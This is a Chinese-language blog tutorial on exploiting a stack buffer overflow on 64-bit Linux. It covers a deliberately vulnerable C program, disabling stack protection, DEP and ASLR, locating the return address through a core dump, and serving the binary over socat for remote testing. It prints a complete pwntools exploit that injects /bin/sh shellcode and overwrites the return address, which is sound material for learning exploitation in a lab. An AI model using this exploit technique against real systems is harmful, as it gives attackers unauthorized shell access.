美文网首页
ROP之linux_64 篇【上】

ROP之linux_64 篇【上】

作者: jessica1123 | 来源:发表于2018-07-22 17:18 被阅读91次

    前言:本文是参考了一步一步学 ROP 之 Linux_x86 篇这篇文章的。由于老早之前就知道栈溢出和计算溢出点,但是不会用pwntools以及各种问题,导致了我写的exp从来没有运行通过。这次在看完这篇文章之后,明白了之前写的exp未成功运行的原因,以及在解决了这篇教程存在的几个问题之后,成功地实现了ROP技术的exp,因此想记录一下这个过程。

    本文主要涉及了以下几个知识点:
    1.core dump(核心转储)技术,关于这个可以参考一篇文章,传送门
    2.关闭DEP(数据执行保护)和Stack Protector(栈保护),以及关闭ASLR(地址随机化)
    3.pwntools的使用例子,详细教程传送门
    4.x64操作系统的寄存器区别,可以参考前面的文章——gdb调试

    注意:我使用的是linux_x64,而原教程的文章是x86系统的,所以在寄存器操作上有所不同。在看本文之前,最好先看看原来的那篇文章,这里不会对栈溢出的原理进行介绍,主要是提供我自己的解决思路。

    本文还是使用原教程的例子:level1.c

    #undef _FORTIFY_SOURCE
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    
    void vulnerable_function() {
        char buf[128];
        read(STDIN_FILENO, buf, 256);
    }
    
    int main(int argc, char** argv) {
        vulnerable_function();
        write(STDOUT_FILENO, "Hello, World\n", 13);
    }
    

    先放出自己的exp:

    #!/usr/bin/env python
    from pwn import *
    context(arch='x86_64',os='linux',log_level='debug')
    shellcode = asm(shellcraft.amd64.linux.sh())
    p = process('./level1')
    #p = remote('127.0.0.1',10001)
    ret = 0x7fffffffe060      #此处是buf的地址,也是需要找到的关键地址
    
    payload =  shellcode + 'A' * (136 - len(shellcode))   + p64(ret)   #原文这里是140,也是错误的参数,实际上在x86的机器上这里应该是144
    p.send(payload)
    p.interactive()
    

    接下来开始讲解我的分析思路:

    注:以下所有命令都是在root权限下运行的,且以及提前装好了pwntools

    1.打开core dump,core文件格式可以自己设置

    ulimit -c unlimited
    

    2.关闭DEP(数据执行保护)和Stack Protector(栈保护),以及关闭ASLR(地址随机化)

    #在编译的时候,使用-fno-stack-protector 和-z execstack来分别关闭Stack Protector和DEP
    gcc -fno-stack-protector -z execstack -g -o level1 level1.c
    #关闭地址随机化
    echo 0 > /proc/sys/kernel/randomize_va_space 
    

    3.运行level1,并且输入长字符串,使得栈溢出


    image.png

    4.按我原来的思路,是通过gdb调试来先找到栈溢出的点,再寻找程序运行的实际地址的,但是在自己测试之后,发现可以直接通过core文件来找到。因此用gdb来查看core文件

    gdb level1 core
    x/10s buf
    x/10s $rsp
    
    image.png
    image.png
    image.png
    image.png

    在看完以上的说明之后,可以发现由于这个函数没有调用任何参数,那么它在执行完之后,恢复到main栈帧的时候。rsp先指向rbp,然后再出栈一个机器字,执行完之后,rsp正好指向了该函数栈帧的ret的位置。所以这个查到的新rsp的地址就是旧ret的地址,ret = 0x7fffffffe060 (我自己测试的机器)。接着计算buf和rsp两个地址的差值为136,因此溢出的字符串长度应该为136。


    image.png
    由此,可以写出exp:
    #!/usr/bin/env python
    from pwn import *
    context(arch='x86_64',os='linux',log_level='debug')
    shellcode = asm(shellcraft.amd64.linux.sh())
    p = process('./level1')
    #p = remote('127.0.0.1',10001)
    ret = 0x7fffffffe060      #此处是buf的地址,也是需要找到的关键地址
    
    payload =  shellcode + 'A' * (136 - len(shellcode))   + p64(ret)   #原文这里是140,也是错误的参数,实际上在x86的机器上这里应该是144
    p.send(payload)
    p.interactive()
    

    运行这个exp,发现成功触发了shell:


    image.png
    image.png

    以上就是本地调试的过程,远程调试过程如下:

    远程调试使用socat来挂载程序,而在关闭地址随机化的情况下,远程调试的地址和本地调试的也是不一样的,需要重新找到该地址。

    1.使用socat挂载程序:

     socat TCP4-LISTEN:2008,fork EXEC:./level1
    

    2.打开一个新的终端,nc连接

    nc 127.0.0.1 2008
    #接着为了生成core文件,输入长串的字符串引发错误
    
    image.png

    3.这样就会在原来的文件夹下面生成一个新的core文件,按之前的思路分析core文件就可以了
    4.找到新的地址之后,修改exp为远程调试,同时修改ret地址就可以了


    image.png

    在之前的寻找溢出点的过程中,我们直接用了core文件,但是在很多时候我们可能无法获得这个文件,因此可以考虑用gdb来调试。参考之前的文章gdb调试,此处要注意一个问题:

    在用gcc编译c文件的时候,要一起用-g -o这个选项,否则在少了-g的情况下,gdb调试想要进行断点设置和查看源代码的时候提示no signal信息。

    推荐阅读材料:初探ROP攻击 Memory Leak & DynELF

    https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=42239&highlight=linux%2Bpwn

    相关文章

      网友评论

          本文标题:ROP之linux_64 篇【上】

          本文链接:https://www.haomeiwen.com/subject/cbglmftx.html